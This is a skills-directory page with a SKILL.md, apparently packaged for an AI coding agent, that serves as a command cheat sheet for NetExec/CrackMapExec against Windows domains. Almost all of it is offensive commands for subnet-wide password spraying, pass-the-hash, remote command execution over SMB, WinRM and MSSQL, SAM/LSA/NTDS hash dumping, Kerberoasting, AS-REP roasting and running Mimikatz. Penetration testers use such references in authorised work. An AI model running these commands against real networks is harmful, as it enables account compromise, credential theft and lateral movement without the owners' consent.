Back to skills
SKILL.md
Nxc Cme
BSecurityNetExec (nxc): SMB/LDAP/WinRM auth checks, sprays, shares
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Security analysis
88/100- Accesses sensitive system or user directories
npx -y skills add blackfoxxx/kestrel --skill nxc-cme --agent claude-codeAre you the author of Nxc Cme?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-nxc-cme)---
name: nxc-cme
description: "NetExec (nxc): SMB/LDAP/WinRM auth checks, sprays, shares"
metadata:
tags: "nxc,netexec,cme,crackmapexec,smb,winrm,ldap,password-spray,credentials,domain,lateral-movement,bulk,spray"
category: "tool"
---
# NetExec (nxc) / CrackMapExec (cme)
nxc (NetExec) is the successor to CrackMapExec — command syntax is nearly identical, but nxc is more actively maintained. If the target machine only has cme, usage is the same; just replace `nxc` with `cme`.
Core value: **one command against an entire subnet** — bulk credential validation, password spraying, remote execution, information enumeration.
Projects:
- NetExec: https://github.com/Pennyw0rth/NetExec
- CrackMapExec: https://github.com/Porchetta-Industries/CrackMapExec
## Network Discovery and Output Interpretation
```bash
# Scan subnet to discover Windows hosts
nxc smb 10.0.0.0/24
# Non-default port
nxc smb TARGET --port 4455
# Output field guide:
# SMB 10.0.0.1 445 DC01 [*] Windows Server 2022 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
# ^hostname ^domain ^signing:True=DC/relay unavailable
# signing:True → DC or forced-signing host, NTLM relay not viable
# signing:False → valid NTLM relay target
# Export output
nxc smb 10.0.0.0/24 --export json /tmp/nxc_scan.json
nxc smb 10.0.0.0/24 | tee nxc_output.txt
# Auto-generate config files (quick domain setup)
nxc smb DC_IP --generate-hosts-file /etc/hosts # generate /etc/hosts entries
nxc smb DC_IP --generate-krb5-file /etc/krb5.conf # generate Kerberos config
# RDP protocol detection
nxc rdp 10.0.0.0/24 # find hosts with open RDP
nxc rdp TARGET -u user -p 'password' # validate RDP credentials
```
## Credential Validation
```bash
# Password auth
nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd'
# NTLM hash (Pass-the-Hash)
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH
# Local admin (no domain auth)
nxc smb 10.0.0.0/24 -u administrator -p 'password' --local-auth
# [+] in output = auth success, (Pwn3d!) = admin privileges
```
## Password Spraying
```bash
# One password against all users (safe, avoids lockout)
nxc smb DC_IP -u users.txt -p 'Summer2024!' --continue-on-success
# Multi-password spray (watch lockout policy)
nxc smb DC_IP -u users.txt -p passwords.txt --continue-on-success --no-bruteforce
# WinRM protocol spray
nxc winrm 10.0.0.0/24 -u admin -p 'password'
```
## Remote Command Execution
```bash
# Execute via SMB
nxc smb TARGET -u admin -p 'password' -x "whoami"
nxc smb TARGET -u admin -p 'password' -x "type C:\flag.txt"
# Execute via WinRM
nxc winrm TARGET -u admin -p 'password' -x "ipconfig"
# PowerShell execution
nxc smb TARGET -u admin -p 'password' -X "Get-Process"
# Bulk execution (entire subnet)
nxc smb 10.0.0.0/24 -u admin -p 'password' -x "hostname" --continue-on-success
```
## Information Enumeration
```bash
# SMB share enumeration
nxc smb TARGET -u user -p 'password' --shares
# User enumeration
nxc smb DC_IP -u user -p 'password' --users
# Group enumeration
nxc smb DC_IP -u user -p 'password' --groups
# Password policy
nxc smb DC_IP -u user -p 'password' --pass-pol
# Session enumeration (see who is logged onto which machine)
nxc smb 10.0.0.0/24 -u user -p 'password' --sessions
# Logged-on users
nxc smb 10.0.0.0/24 -u user -p 'password' --loggedon-users
```
## Credential Extraction
```bash
# SAM dump (local hashes)
nxc smb TARGET -u admin -p 'password' --sam
# LSA dump
nxc smb TARGET -u admin -p 'password' --lsa
# NTDS.dit dump (all domain user hashes from DC)
nxc smb DC_IP -u admin -p 'password' --ntds
# Pipe to hashcat
nxc smb DC_IP -u admin -p 'password' --ntds | tee ntds_dump.txt
```
## LDAP Operations
```bash
# LDAP user enumeration
nxc ldap DC_IP -u user -p 'password' --users
# Find Kerberoastable accounts
nxc ldap DC_IP -u user -p 'password' --kerberoasting output.txt
# AS-REP Roasting
nxc ldap DC_IP -u user -p 'password' --asreproast output.txt
# Domain trusts
nxc ldap DC_IP -u user -p 'password' --trusted-for-delegation
```
## MSSQL
```bash
# MSSQL credential validation
nxc mssql 10.0.0.0/24 -u sa -p 'password'
# Execute SQL
nxc mssql TARGET -u sa -p 'password' -q "SELECT name FROM master.dbo.sysdatabases"
# xp_cmdshell execution
nxc mssql TARGET -u sa -p 'password' -x "whoami"
```
## Module System
```bash
# List available modules
nxc smb -L
# Use Mimikatz module
nxc smb TARGET -u admin -p 'password' -M mimikatz
# Use Spider module (search shares for sensitive files)
nxc smb TARGET -u user -p 'password' -M spider_plus
# WebDAV detection
nxc smb TARGET -u user -p 'password' -M webdav
```
## Decision Tree
```
nxc vs impacket — which to choose?
├─ Bulk operations (entire subnet) → nxc (one command does it all)
├─ Single-target deep operations → impacket (more flexible)
├─ Password spraying → nxc (built-in --no-bruteforce)
├─ Credential extraction → either (nxc --sam/--ntds or secretsdump)
├─ NTLM relay → impacket ntlmrelayx
└─ Kerberos attacks → impacket (more complete)
```
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.